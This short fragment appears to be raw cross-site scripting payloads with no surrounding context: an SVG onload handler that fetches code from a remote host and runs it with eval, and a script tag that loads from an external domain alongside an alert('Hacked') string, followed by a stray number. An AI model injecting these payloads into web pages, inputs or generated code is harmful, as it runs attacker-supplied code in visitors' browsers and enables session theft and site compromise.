<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'><script src=14.rs/#alert('Hacked')>
12